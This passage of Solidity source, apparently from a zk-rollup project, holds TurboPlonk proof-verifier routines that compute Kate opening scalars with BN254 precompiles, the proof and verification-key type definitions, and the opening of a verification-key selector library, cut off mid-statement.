accumulator_ptr, 0x80, accumulator_ptr, 0x40)) } uint256 u_plus_one = challenges.u; uint256 v_challenge = challenges.v0; // W1 work_point = proof.W1; work_point.validateG1Point(); assembly { u_plus_one := addmod(u_plus_one, 0x01, p) scalar_multiplier := mulmod(v_challenge, u_plus_one, p) mstore(add(accumulator_ptr, 0x40), mload(work_point)) mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20))) mstore(add(accumulator_ptr, 0x80), scalar_multiplier) // compute v0(u + 1).[W1] success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40)) // add scalar mul output into accumulator success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40)) } // W2 v_challenge = challenges.v1; work_point = proof.W2; work_point.validateG1Point(); assembly { scalar_multiplier := mulmod(v_challenge, u_plus_one, p) mstore(add(accumulator_ptr, 0x40), mload(work_point)) mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20))) mstore(add(accumulator_ptr, 0x80), scalar_multiplier) // compute v1(u + 1).[W2] success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40)) // add scalar mul output into accumulator success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40)) } // W3 v_challenge = challenges.v2; work_point = proof.W3; work_point.validateG1Point(); assembly { scalar_multiplier := mulmod(v_challenge, u_plus_one, p) mstore(add(accumulator_ptr, 0x40), mload(work_point)) mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20))) mstore(add(accumulator_ptr, 0x80), scalar_multiplier) // compute v2(u + 1).[W3] success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40)) // add scalar mul output into accumulator success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40)) } // W4 v_challenge = challenges.v3; work_point = proof.W4; work_point.validateG1Point(); assembly { scalar_multiplier := mulmod(v_challenge, u_plus_one, p) mstore(add(accumulator_ptr, 0x40), mload(work_point)) mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20))) mstore(add(accumulator_ptr, 0x80), scalar_multiplier) // compute v3(u + 1).[W4] success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40)) // add scalar mul output into accumulator success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40)) } // SIGMA1 scalar_multiplier = challenges.v4; work_point = vk.SIGMA1; work_point.validateG1Point(); assembly { mstore(add(accumulator_ptr, 0x40), mload(work_point)) mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20))) mstore(add(accumulator_ptr, 0x80), scalar_multiplier) // compute v4.[SIGMA1] success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40)) // add scalar mul output into accumulator success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40)) } // SIGMA2 scalar_multiplier = challenges.v5; work_point = vk.SIGMA2; work_point.validateG1Point(); assembly { mstore(add(accumulator_ptr, 0x40), mload(work_point)) mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20))) mstore(add(accumulator_ptr, 0x80), scalar_multiplier) // compute v5.[SIGMA2] success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40)) // add scalar mul output into accumulator success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40)) } // SIGMA3 scalar_multiplier = challenges.v6; work_point = vk.SIGMA3; work_point.validateG1Point(); assembly { mstore(add(accumulator_ptr, 0x40), mload(work_point)) mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20))) mstore(add(accumulator_ptr, 0x80), scalar_multiplier) // compute v6.[SIGMA3] success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40)) // add scalar mul output into accumulator success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40)) } // QARITH scalar_multiplier = challenges.v7; work_point = vk.QARITH; work_point.validateG1Point(); assembly { mstore(add(accumulator_ptr, 0x40), mload(work_point)) mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20))) mstore(add(accumulator_ptr, 0x80), scalar_multiplier) // compute v7.[QARITH] success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40)) // add scalar mul output into accumulator success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40)) } Types.G1Point memory output; // QECC scalar_multiplier = challenges.v8; work_point = vk.QECC; work_point.validateG1Point(); assembly { mstore(add(accumulator_ptr, 0x40), mload(work_point)) mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20))) mstore(add(accumulator_ptr, 0x80), scalar_multiplier) // compute v8.[QECC] success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40)) // add scalar mul output into output point success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, output, 0x40)) } require(success, "compute_batch_opening_commitment group operations error"); return output; } function compute_batch_evaluation_scalar_multiplier(Types.Proof memory proof, Types.ChallengeTranscript memory challenges) internal pure returns (uint256) { uint256 p = Bn254Crypto.r_mod; uint256 opening_scalar; uint256 lhs; uint256 rhs; lhs = challenges.v0; rhs = proof.w1; assembly { opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p) } lhs = challenges.v1; rhs = proof.w2; assembly { opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p) } lhs = challenges.v2; rhs = proof.w3; assembly { opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p) } lhs = challenges.v3; rhs = proof.w4; assembly { opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p) } lhs = challenges.v4; rhs = proof.sigma1; assembly { opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p) } lhs = challenges.v5; rhs = proof.sigma2; assembly { opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p) } lhs = challenges.v6; rhs = proof.sigma3; assembly { opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p) } lhs = challenges.v7; rhs = proof.q_arith; assembly { opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p) } lhs = challenges.v8; rhs = proof.q_ecc; assembly { opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p) } lhs = challenges.v9; rhs = proof.q_c; assembly { opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p) } lhs = challenges.v10; rhs = proof.linearization_polynomial; assembly { opening_scalar := addmod(opening_scalar, mulmod(lhs, rhs, p), p) } lhs = proof.quotient_polynomial_eval; assembly { opening_scalar := addmod(opening_scalar, lhs, p) } lhs = challenges.v0; rhs = proof.w1_omega; uint256 shifted_opening_scalar; assembly { shifted_opening_scalar := mulmod(lhs, rhs, p) } lhs = challenges.v1; rhs = proof.w2_omega; assembly { shifted_opening_scalar := addmod(shifted_opening_scalar, mulmod(lhs, rhs, p), p) } lhs = challenges.v2; rhs = proof.w3_omega; assembly { shifted_opening_scalar := addmod(shifted_opening_scalar, mulmod(lhs, rhs, p), p) } lhs = challenges.v3; rhs = proof.w4_omega; assembly { shifted_opening_scalar := addmod(shifted_opening_scalar, mulmod(lhs, rhs, p), p) } lhs = proof.grand_product_at_z_omega; assembly { shifted_opening_scalar := addmod(shifted_opening_scalar, lhs, p) } lhs = challenges.u; assembly { shifted_opening_scalar := mulmod(shifted_opening_scalar, lhs, p) opening_scalar := addmod(opening_scalar, shifted_opening_scalar, p) } return opening_scalar; } // Compute kate opening scalar for arithmetic gate selectors and pedersen gate selectors // (both the arithmetic gate and pedersen hash gate reuse the same selectors) function compute_arithmetic_selector_opening_group_element( Types.Proof memory proof, Types.VerificationKey memory vk, Types.ChallengeTranscript memory challenges ) internal view returns (Types.G1Point memory) { uint256 q_arith = proof.q_arith; uint256 q_ecc = proof.q_ecc; uint256 linear_challenge = challenges.v10; uint256 alpha_base = challenges.alpha_base; uint256 scaling_alpha = challenges.alpha_base; uint256 alpha = challenges.alpha; uint256 p = Bn254Crypto.r_mod; uint256 scalar_multiplier; uint256 accumulator_ptr; // reserve 0xa0 bytes of memory to multiply and add points assembly { accumulator_ptr := mload(0x40) mstore(0x40, add(accumulator_ptr, 0xa0)) } { uint256 delta; // Q1 Selector { { uint256 w4 = proof.w4; uint256 w4_omega = proof.w4_omega; assembly { delta := addmod(w4_omega, sub(p, mulmod(w4, 0x04, p)), p) } } uint256 w1 = proof.w1; assembly { scalar_multiplier := mulmod(w1, linear_challenge, p) scalar_multiplier := mulmod(scalar_multiplier, alpha_base, p) scalar_multiplier := mulmod(scalar_multiplier, q_arith, p) scaling_alpha := mulmod(scaling_alpha, alpha, p) scaling_alpha := mulmod(scaling_alpha, alpha, p) scaling_alpha := mulmod(scaling_alpha, alpha, p) let t0 := mulmod(delta, delta, p) t0 := mulmod(t0, q_ecc, p) t0 := mulmod(t0, scaling_alpha, p) scalar_multiplier := addmod(scalar_multiplier, mulmod(t0, linear_challenge, p), p) } Types.G1Point memory Q1 = vk.Q1; Q1.validateG1Point(); bool success; assembly { let mPtr := mload(0x40) mstore(mPtr, mload(Q1)) mstore(add(mPtr, 0x20), mload(add(Q1, 0x20))) mstore(add(mPtr, 0x40), scalar_multiplier) success := staticcall(gas(), 7, mPtr, 0x60, accumulator_ptr, 0x40) } require(success, "G1 point multiplication failed!"); } // Q2 Selector { uint256 w2 = proof.w2; assembly { scalar_multiplier := mulmod(w2, linear_challenge, p) scalar_multiplier := mulmod(scalar_multiplier, alpha_base, p) scalar_multiplier := mulmod(scalar_multiplier, q_arith, p) let t0 := mulmod(scaling_alpha, q_ecc, p) scalar_multiplier := addmod(scalar_multiplier, mulmod(t0, linear_challenge, p), p) } Types.G1Point memory Q2 = vk.Q2; Q2.validateG1Point(); bool success; assembly { let mPtr := mload(0x40) mstore(mPtr, mload(Q2)) mstore(add(mPtr, 0x20), mload(add(Q2, 0x20))) mstore(add(mPtr, 0x40), scalar_multiplier) // write scalar mul output 0x40 bytes ahead of accumulator success := staticcall(gas(), 7, mPtr, 0x60, add(accumulator_ptr, 0x40), 0x40) // add scalar mul output into accumulator success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40)) } require(success, "G1 point multiplication failed!"); } // Q3 Selector { { uint256 w3 = proof.w3; assembly { scalar_multiplier := mulmod(w3, linear_challenge, p) scalar_multiplier := mulmod(scalar_multiplier, alpha_base, p) scalar_multiplier := mulmod(scalar_multiplier, q_arith, p) } } { uint256 t1; { uint256 w3_omega = proof.w3_omega; assembly { t1 := mulmod(delta, w3_omega, p) } } { uint256 w2 = proof.w2; assembly { scaling_alpha := mulmod(scaling_alpha, alpha, p) t1 := mulmod(t1, w2, p) t1 := mulmod(t1, scaling_alpha, p) t1 := addmod(t1, t1, p) t1 := mulmod(t1, q_ecc, p) scalar_multiplier := addmod(scalar_multiplier, mulmod(t1, linear_challenge, p), p) } } } uint256 t0 = proof.w1_omega; { uint256 w1 = proof.w1; assembly { scaling_alpha := mulmod(scaling_alpha, alpha, p) t0 := addmod(t0, sub(p, w1), p) t0 := mulmod(t0, delta, p) } } uint256 w3_omega = proof.w3_omega; assembly { t0 := mulmod(t0, w3_omega, p) t0 := mulmod(t0, scaling_alpha, p) t0 := mulmod(t0, q_ecc, p) scalar_multiplier := addmod(scalar_multiplier, mulmod(t0, linear_challenge, p), p) } } Types.G1Point memory Q3 = vk.Q3; Q3.validateG1Point(); bool success; assembly { let mPtr := mload(0x40) mstore(mPtr, mload(Q3)) mstore(add(mPtr, 0x20), mload(add(Q3, 0x20))) mstore(add(mPtr, 0x40), scalar_multiplier) // write scalar mul output 0x40 bytes ahead of accumulator success := staticcall(gas(), 7, mPtr, 0x60, add(accumulator_ptr, 0x40), 0x40) // add scalar mul output into accumulator success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40)) } require(success, "G1 point multiplication failed!"); } // Q4 Selector { uint256 w3 = proof.w3; uint256 w4 = proof.w4; uint256 q_c = proof.q_c; assembly { scalar_multiplier := mulmod(w4, linear_challenge, p) scalar_multiplier := mulmod(scalar_multiplier, alpha_base, p) scalar_multiplier := mulmod(scalar_multiplier, q_arith, p) scaling_alpha := mulmod(scaling_alpha, mulmod(alpha, alpha, p), p) let t0 := mulmod(w3, q_ecc, p) t0 := mulmod(t0, q_c, p) t0 := mulmod(t0, scaling_alpha, p) scalar_multiplier := addmod(scalar_multiplier, mulmod(t0, linear_challenge, p), p) } Types.G1Point memory Q4 = vk.Q4; Q4.validateG1Point(); bool success; assembly { let mPtr := mload(0x40) mstore(mPtr, mload(Q4)) mstore(add(mPtr, 0x20), mload(add(Q4, 0x20))) mstore(add(mPtr, 0x40), scalar_multiplier) // write scalar mul output 0x40 bytes ahead of accumulator success := staticcall(gas(), 7, mPtr, 0x60, add(accumulator_ptr, 0x40), 0x40) // add scalar mul output into accumulator success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40)) } require(success, "G1 point multiplication failed!"); } // Q5 Selector { uint256 w4 = proof.w4; uint256 q_c = proof.q_c; assembly { let neg_w4 := sub(p, w4) scalar_multiplier := mulmod(w4, w4, p) scalar_multiplier := addmod(scalar_multiplier, neg_w4, p) scalar_multiplier := mulmod(scalar_multiplier, addmod(w4, sub(p, 2), p), p) scalar_multiplier := mulmod(scalar_multiplier, alpha_base, p) scalar_multiplier := mulmod(scalar_multiplier, alpha, p) scalar_multiplier := mulmod(scalar_multiplier, q_arith, p) scalar_multiplier := mulmod(scalar_multiplier, linear_challenge, p) let t0 := addmod(0x01, neg_w4, p) t0 := mulmod(t0, q_ecc, p) t0 := mulmod(t0, q_c, p) t0 := mulmod(t0, scaling_alpha, p) scalar_multiplier := addmod(scalar_multiplier, mulmod(t0, linear_challenge, p), p) } Types.G1Point memory Q5 = vk.Q5; Q5.validateG1Point(); bool success; assembly { let mPtr := mload(0x40) mstore(mPtr, mload(Q5)) mstore(add(mPtr, 0x20), mload(add(Q5, 0x20))) mstore(add(mPtr, 0x40), scalar_multiplier) // write scalar mul output 0x40 bytes ahead of accumulator success := staticcall(gas(), 7, mPtr, 0x60, add(accumulator_ptr, 0x40), 0x40) // add scalar mul output into accumulator success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40)) } require(success, "G1 point multiplication failed!"); } // QM Selector { { uint256 w1 = proof.w1; uint256 w2 = proof.w2; assembly { scalar_multiplier := mulmod(w1, w2, p) scalar_multiplier := mulmod(scalar_multiplier, linear_challenge, p) scalar_multiplier := mulmod(scalar_multiplier, alpha_base, p) scalar_multiplier := mulmod(scalar_multiplier, q_arith, p) } } uint256 w3 = proof.w3; uint256 q_c = proof.q_c; assembly { scaling_alpha := mulmod(scaling_alpha, alpha, p) let t0 := mulmod(w3, q_ecc, p) t0 := mulmod(t0, q_c, p) t0 := mulmod(t0, scaling_alpha, p) scalar_multiplier := addmod(scalar_multiplier, mulmod(t0, linear_challenge, p), p) } Types.G1Point memory QM = vk.QM; QM.validateG1Point(); bool success; assembly { let mPtr := mload(0x40) mstore(mPtr, mload(QM)) mstore(add(mPtr, 0x20), mload(add(QM, 0x20))) mstore(add(mPtr, 0x40), scalar_multiplier) // write scalar mul output 0x40 bytes ahead of accumulator success := staticcall(gas(), 7, mPtr, 0x60, add(accumulator_ptr, 0x40), 0x40) // add scalar mul output into accumulator success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40)) } require(success, "G1 point multiplication failed!"); } Types.G1Point memory output; // QC Selector { uint256 q_c_challenge = challenges.v9; assembly { scalar_multiplier := mulmod(linear_challenge, alpha_base, p) scalar_multiplier := mulmod(scalar_multiplier, q_arith, p) // TurboPlonk requires an explicit evaluation of q_c scalar_multiplier := addmod(scalar_multiplier, q_c_challenge, p) alpha_base := mulmod(scaling_alpha, alpha, p) } Types.G1Point memory QC = vk.QC; QC.validateG1Point(); bool success; assembly { let mPtr := mload(0x40) mstore(mPtr, mload(QC)) mstore(add(mPtr, 0x20), mload(add(QC, 0x20))) mstore(add(mPtr, 0x40), scalar_multiplier) // write scalar mul output 0x40 bytes ahead of accumulator success := staticcall(gas(), 7, mPtr, 0x60, add(accumulator_ptr, 0x40), 0x40) // add scalar mul output into output point success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, output, 0x40)) } require(success, "G1 point multiplication failed!"); } challenges.alpha_base = alpha_base; return output; } // Compute kate opening scalar for logic gate opening scalars // This method evalautes the polynomial identity used to evaluate either // a 2-bit AND or XOR operation in a single constraint function compute_logic_gate_opening_scalar( Types.Proof memory proof, Types.ChallengeTranscript memory challenges ) internal pure returns (uint256) { uint256 identity = 0; uint256 p = Bn254Crypto.r_mod; { uint256 delta_sum = 0; uint256 delta_squared_sum = 0; uint256 t0 = 0; uint256 t1 = 0; uint256 t2 = 0; uint256 t3 = 0; { uint256 wire1_omega = proof.w1_omega; uint256 wire1 = proof.w1; assembly { t0 := addmod(wire1_omega, sub(p, mulmod(wire1, 0x04, p)), p) } } { uint256 wire2_omega = proof.w2_omega; uint256 wire2 = proof.w2; assembly { t1 := addmod(wire2_omega, sub(p, mulmod(wire2, 0x04, p)), p) delta_sum := addmod(t0, t1, p) t2 := mulmod(t0, t0, p) t3 := mulmod(t1, t1, p) delta_squared_sum := addmod(t2, t3, p) identity := mulmod(delta_sum, delta_sum, p) identity := addmod(identity, sub(p, delta_squared_sum), p) } } uint256 t4 = 0; uint256 alpha = challenges.alpha; { uint256 wire3 = proof.w3; assembly{ t4 := mulmod(wire3, 0x02, p) identity := addmod(identity, sub(p, t4), p) identity := mulmod(identity, alpha, p) } } assembly { t4 := addmod(t4, t4, p) t2 := addmod(t2, sub(p, t0), p) t0 := mulmod(t0, 0x04, p) t0 := addmod(t2, sub(p, t0), p) t0 := addmod(t0, 0x06, p) t0 := mulmod(t0, t2, p) identity := addmod(identity, t0, p) identity := mulmod(identity, alpha, p) t3 := addmod(t3, sub(p, t1), p) t1 := mulmod(t1, 0x04, p) t1 := addmod(t3, sub(p, t1), p) t1 := addmod(t1, 0x06, p) t1 := mulmod(t1, t3, p) identity := addmod(identity, t1, p) identity := mulmod(identity, alpha, p) t0 := mulmod(delta_sum, 0x03, p) t1 := mulmod(t0, 0x03, p) delta_sum := addmod(t1, t1, p) t2 := mulmod(delta_sum, 0x04, p) t1 := addmod(t1, t2, p) t2 := mulmod(delta_squared_sum, 0x03, p) delta_squared_sum := mulmod(t2, 0x06, p) delta_sum := addmod(t4, sub(p, delta_sum), p) delta_sum := addmod(delta_sum, 81, p) t1 := addmod(delta_squared_sum, sub(p, t1), p) t1 := addmod(t1, 83, p) } { uint256 wire3 = proof.w3; assembly { delta_sum := mulmod(delta_sum, wire3, p) delta_sum := addmod(delta_sum, t1, p) delta_sum := mulmod(delta_sum, wire3, p) } } { uint256 wire4 = proof.w4; assembly { t2 := mulmod(wire4, 0x04, p) } } { uint256 wire4_omega = proof.w4_omega; assembly { t2 := addmod(wire4_omega, sub(p, t2), p) } } { uint256 q_c = proof.q_c; assembly { t3 := addmod(t2, t2, p) t2 := addmod(t2, t3, p) t3 := addmod(t2, t2, p) t3 := addmod(t3, t2, p) t3 := addmod(t3, sub(p, t0), p) t3 := mulmod(t3, q_c, p) t2 := addmod(t2, t0, p) delta_sum := addmod(delta_sum, delta_sum, p) t2 := addmod(t2, sub(p, delta_sum), p) t2 := addmod(t2, t3, p) identity := addmod(identity, t2, p) } } uint256 linear_nu = challenges.v10; uint256 alpha_base = challenges.alpha_base; assembly { identity := mulmod(identity, alpha_base, p) identity := mulmod(identity, linear_nu, p) } } // update alpha uint256 alpha_base = challenges.alpha_base; uint256 alpha = challenges.alpha; assembly { alpha := mulmod(alpha, alpha, p) alpha := mulmod(alpha, alpha, p) alpha_base := mulmod(alpha_base, alpha, p) } challenges.alpha_base = alpha_base; return identity; } // Compute kate opening scalar for arithmetic gate selectors function compute_range_gate_opening_scalar( Types.Proof memory proof, Types.ChallengeTranscript memory challenges ) internal pure returns (uint256) { uint256 wire1 = proof.w1; uint256 wire2 = proof.w2; uint256 wire3 = proof.w3; uint256 wire4 = proof.w4; uint256 wire4_omega = proof.w4_omega; uint256 alpha = challenges.alpha; uint256 alpha_base = challenges.alpha_base; uint256 range_acc; uint256 p = Bn254Crypto.r_mod; uint256 linear_challenge = challenges.v10; assembly { let delta_1 := addmod(wire3, sub(p, mulmod(wire4, 0x04, p)), p) let delta_2 := addmod(wire2, sub(p, mulmod(wire3, 0x04, p)), p) let delta_3 := addmod(wire1, sub(p, mulmod(wire2, 0x04, p)), p) let delta_4 := addmod(wire4_omega, sub(p, mulmod(wire1, 0x04, p)), p) let t0 := mulmod(delta_1, delta_1, p) t0 := addmod(t0, sub(p, delta_1), p) let t1 := addmod(delta_1, sub(p, 2), p) t0 := mulmod(t0, t1, p) t1 := addmod(delta_1, sub(p, 3), p) t0 := mulmod(t0, t1, p) t0 := mulmod(t0, alpha_base, p) range_acc := t0 alpha_base := mulmod(alpha_base, alpha, p) t0 := mulmod(delta_2, delta_2, p) t0 := addmod(t0, sub(p, delta_2), p) t1 := addmod(delta_2, sub(p, 2), p) t0 := mulmod(t0, t1, p) t1 := addmod(delta_2, sub(p, 3), p) t0 := mulmod(t0, t1, p) t0 := mulmod(t0, alpha_base, p) range_acc := addmod(range_acc, t0, p) alpha_base := mulmod(alpha_base, alpha, p) t0 := mulmod(delta_3, delta_3, p) t0 := addmod(t0, sub(p, delta_3), p) t1 := addmod(delta_3, sub(p, 2), p) t0 := mulmod(t0, t1, p) t1 := addmod(delta_3, sub(p, 3), p) t0 := mulmod(t0, t1, p) t0 := mulmod(t0, alpha_base, p) range_acc := addmod(range_acc, t0, p) alpha_base := mulmod(alpha_base, alpha, p) t0 := mulmod(delta_4, delta_4, p) t0 := addmod(t0, sub(p, delta_4), p) t1 := addmod(delta_4, sub(p, 2), p) t0 := mulmod(t0, t1, p) t1 := addmod(delta_4, sub(p, 3), p) t0 := mulmod(t0, t1, p) t0 := mulmod(t0, alpha_base, p) range_acc := addmod(range_acc, t0, p) alpha_base := mulmod(alpha_base, alpha, p) range_acc := mulmod(range_acc, linear_challenge, p) } challenges.alpha_base = alpha_base; return range_acc; } // Compute grand product opening scalar and perform kate verification scalar multiplication function compute_grand_product_opening_group_element( Types.Proof memory proof, Types.VerificationKey memory vk, Types.ChallengeTranscript memory challenges, uint256 L1_fr ) internal view returns (Types.G1Point memory) { uint256 beta = challenges.beta; uint256 zeta = challenges.zeta; uint256 gamma = challenges.gamma; uint256 p = Bn254Crypto.r_mod; uint256 partial_grand_product; uint256 sigma_multiplier; { uint256 w1 = proof.w1; uint256 sigma1 = proof.sigma1; assembly { let witness_term := addmod(w1, gamma, p) partial_grand_product := addmod(mulmod(beta, zeta, p), witness_term, p) sigma_multiplier := addmod(mulmod(sigma1, beta, p), witness_term, p) } } { uint256 w2 = proof.w2; uint256 sigma2 = proof.sigma2; assembly { let witness_term := addmod(w2, gamma, p) partial_grand_product := mulmod(partial_grand_product, addmod(mulmod(mulmod(zeta, 0x05, p), beta, p), witness_term, p), p) sigma_multiplier := mulmod(sigma_multiplier, addmod(mulmod(sigma2, beta, p), witness_term, p), p) } } { uint256 w3 = proof.w3; uint256 sigma3 = proof.sigma3; assembly { let witness_term := addmod(w3, gamma, p) partial_grand_product := mulmod(partial_grand_product, addmod(mulmod(mulmod(zeta, 0x06, p), beta, p), witness_term, p), p) sigma_multiplier := mulmod(sigma_multiplier, addmod(mulmod(sigma3, beta, p), witness_term, p), p) } } { uint256 w4 = proof.w4; assembly { partial_grand_product := mulmod(partial_grand_product, addmod(addmod(mulmod(mulmod(zeta, 0x07, p), beta, p), gamma, p), w4, p), p) } } { uint256 linear_challenge = challenges.v10; uint256 alpha_base = challenges.alpha_base; uint256 alpha = challenges.alpha; uint256 separator_challenge = challenges.u; uint256 grand_product_at_z_omega = proof.grand_product_at_z_omega; uint256 l_start = L1_fr; assembly { partial_grand_product := mulmod(partial_grand_product, alpha_base, p) sigma_multiplier := mulmod(mulmod(sub(p, mulmod(mulmod(sigma_multiplier, grand_product_at_z_omega, p), alpha_base, p)), beta, p), linear_challenge, p) alpha_base := mulmod(mulmod(alpha_base, alpha, p), alpha, p) partial_grand_product := addmod(mulmod(addmod(partial_grand_product, mulmod(l_start, alpha_base, p), p), linear_challenge, p), separator_challenge, p) alpha_base := mulmod(alpha_base, alpha, p) } challenges.alpha_base = alpha_base; } Types.G1Point memory Z = proof.Z; Types.G1Point memory SIGMA4 = vk.SIGMA4; Types.G1Point memory accumulator; Z.validateG1Point(); SIGMA4.validateG1Point(); bool success; assembly { let mPtr := mload(0x40) mstore(mPtr, mload(Z)) mstore(add(mPtr, 0x20), mload(add(Z, 0x20))) mstore(add(mPtr, 0x40), partial_grand_product) success := staticcall(gas(), 7, mPtr, 0x60, mPtr, 0x40) mstore(add(mPtr, 0x40), mload(SIGMA4)) mstore(add(mPtr, 0x60), mload(add(SIGMA4, 0x20))) mstore(add(mPtr, 0x80), sigma_multiplier) success := and(success, staticcall(gas(), 7, add(mPtr, 0x40), 0x60, add(mPtr, 0x40), 0x40)) success := and(success, staticcall(gas(), 6, mPtr, 0x80, accumulator, 0x40)) } require(success, "compute_grand_product_opening_scalar group operations failure"); return accumulator; } } // SPDX-License-Identifier: GPL-2.0-only // Copyright 2020 Spilsbury Holdings Ltd pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; /** * @title Bn254Crypto library used for the fr, g1 and g2 point types * @dev Used to manipulate fr, g1, g2 types, perform modular arithmetic on them and call * the precompiles add, scalar mul and pairing * * Notes on optimisations * 1) Perform addmod, mulmod etc. in assembly - removes the check that Solidity performs to confirm that * the supplied modulus is not 0. This is safe as the modulus's used (r_mod, q_mod) are hard coded * inside the contract and not supplied by the user */ library Types { uint256 constant PROGRAM_WIDTH = 4; uint256 constant NUM_NU_CHALLENGES = 11; uint256 constant coset_generator0 = 0x0000000000000000000000000000000000000000000000000000000000000005; uint256 constant coset_generator1 = 0x0000000000000000000000000000000000000000000000000000000000000006; uint256 constant coset_generator2 = 0x0000000000000000000000000000000000000000000000000000000000000007; // TODO: add external_coset_generator() method to compute this uint256 constant coset_generator7 = 0x000000000000000000000000000000000000000000000000000000000000000c; struct G1Point { uint256 x; uint256 y; } // G2 group element where x \in Fq2 = x0 * z + x1 struct G2Point { uint256 x0; uint256 x1; uint256 y0; uint256 y1; } // N>B. Do not re-order these fields! They must appear in the same order as they // appear in the proof data struct Proof { G1Point W1; G1Point W2; G1Point W3; G1Point W4; G1Point Z; G1Point T1; G1Point T2; G1Point T3; G1Point T4; uint256 w1; uint256 w2; uint256 w3; uint256 w4; uint256 sigma1; uint256 sigma2; uint256 sigma3; uint256 q_arith; uint256 q_ecc; uint256 q_c; uint256 linearization_polynomial; uint256 grand_product_at_z_omega; uint256 w1_omega; uint256 w2_omega; uint256 w3_omega; uint256 w4_omega; G1Point PI_Z; G1Point PI_Z_OMEGA; G1Point recursive_P1; G1Point recursive_P2; uint256 quotient_polynomial_eval; } struct ChallengeTranscript { uint256 alpha_base; uint256 alpha; uint256 zeta; uint256 beta; uint256 gamma; uint256 u; uint256 v0; uint256 v1; uint256 v2; uint256 v3; uint256 v4; uint256 v5; uint256 v6; uint256 v7; uint256 v8; uint256 v9; uint256 v10; } struct VerificationKey { uint256 circuit_size; uint256 num_inputs; uint256 work_root; uint256 domain_inverse; uint256 work_root_inverse; G1Point Q1; G1Point Q2; G1Point Q3; G1Point Q4; G1Point Q5; G1Point QM; G1Point QC; G1Point QARITH; G1Point QECC; G1Point QRANGE; G1Point QLOGIC; G1Point SIGMA1; G1Point SIGMA2; G1Point SIGMA3; G1Point SIGMA4; bool contains_recursive_proof; uint256 recursive_proof_indices; G2Point g2_x; // zeta challenge raised to the power of the circuit size. // Not actually part of the verification key, but we put it here to prevent stack depth errors uint256 zeta_pow_n; } } // SPDX-License-Identifier: GPL-2.0-only // Copyright 2020 Spilsbury Holdings Ltd pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; import {Types} from '../cryptography/Types.sol'; import {Rollup1x1Vk} from '../keys/Rollup1x1Vk.sol'; import {Rollup1x2Vk} from '../keys/Rollup1x2Vk.sol'; import {Rollup1x4Vk} from '../keys/Rollup1x4Vk.sol'; import {Rollup28x1Vk} from '../keys/Rollup28x1Vk.sol'; import {Rollup28x2Vk} from '../keys/Rollup28x2Vk.sol'; import {Rollup28x4Vk} from '../keys/Rollup28x4Vk.sol'; // import {Rollup28x8Vk} from '../keys/Rollup28x8Vk.sol'; // import {Rollup28x16Vk} from '../keys/Rollup28x16Vk.sol'; // import {Rollup28x32Vk} from '../keys/Rollup28x32Vk.sol'; import {EscapeHatchVk} from '../keys/EscapeHatchVk.sol'; /** * @title Verification keys library * @dev Used to select the appropriate verification key for the proof in question */ library VerificationKeys { /** * @param _keyId - verification key identifier used to select the appropriate proof's key * @return Verification key */ function getKeyById(uint256 _keyId) external pure returns (Types.VerificationKey memory) { // added in order: qL, qR, qO, qC, qM. x coord first, followed by y coord Types.VerificationKey memory vk; if (_keyId == 0) { vk = EscapeHatchVk.get_verification_key(); } else if (_keyId == 1) { vk = Rollup1x1Vk.get_verification_key(); } else if (_keyId == 2) { vk = 